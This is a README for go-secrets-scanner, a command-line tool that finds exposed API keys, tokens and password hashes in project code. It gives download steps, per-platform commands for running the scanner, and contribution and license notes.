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🔍 go-secrets-scanner - Find Secrets and Keep Your Code Safe

🚀 Getting Started

Welcome to the go-secrets-scanner! This tool helps you find sensitive data, such as API keys, tokens, and password hashes, within your projects. Protect your work from data leaks and maintain security with ease.

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📖 Overview

The go-secrets-scanner scans your code for secrets and other sensitive information. Here are a few key features:

• API Key Detection: Automatically catch exposed API keys.
• Token Scanning: Identify tokens that should remain private.
• Hash Analysis: Evaluate common hash types and provide crackability hints.
• User-Friendly CLI: Simple command-line interface to run scans.

🛠 System Requirements

To run the go-secrets-scanner, make sure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Go Version: Custom Go installation is not required; the binary will work standalone.
• Disk Space: At least 50 MB of free space.
• Memory: Minimum of 1 GB RAM recommended.

📥 Download & Install

To download the go-secrets-scanner, visit the releases page:

Download go-secrets-scanner

1. Go to the Releases page.
2. Look for the latest version. It will be labeled clearly.
3. Find the right file for your operating system.
4. Click on the file to start the download.
5. Once downloaded, locate the file in your downloads folder.

🖥 Running the Scanner

After downloading, you can run the software easily:

Windows

1. Open File Explorer and go to your Downloads folder.
2. Double-click the downloaded file (e.g., go-secrets-scanner.exe).
3. A command prompt window will open.
4. Enter the path to the folder containing your project code. For example:

   go-secrets-scanner C:\path\to\your\project
   

5. Press Enter to start the scanning process.
6. Review the results displayed in the command prompt.

macOS

1. Open Finder and navigate to your Downloads.
2. Locate the downloaded file (e.g., go-secrets-scanner).
3. Open Terminal.
4. Drag the file into the Terminal. Add a space after it.
5. Enter the path to your project folder. For example:

   ./go-secrets-scanner /Users/yourusername/path/to/project
   

6. Press Enter.
7. Review the output in the Terminal.

Linux

1. Open your file manager and go to Downloads.
2. Find your downloaded file (e.g., go-secrets-scanner).
3. Open Terminal.
4. Use the following command to navigate to your Downloads folder:

   cd ~/Downloads
   

5. Run the scanner with:

   chmod +x go-secrets-scanner
   ./go-secrets-scanner /path/to/your/project
   

6. Review the results in your Terminal window.

✅ Results and Next Steps

After the scanner completes its run, the results will point out any detected secrets. Use this information to review and secure your codebase. If you need help interpreting the results, please consult the Documentation.

🤝 Contributing

We welcome contributions! If you’d like to improve go-secrets-scanner, please follow these steps:

1. Fork the repository.
2. Create a new branch.
3. Make your changes and commit them.
4. Push your branch to your fork.
5. Create a pull request to the main repository.

📞 Support

For any issues or questions, please check the issues page. You can also reach out directly in the GitHub Discussions section.

📄 License

This project is licensed under the MIT License. See the LICENSE file for details.

Thank you for using go-secrets-scanner! Ensure your code stays secure.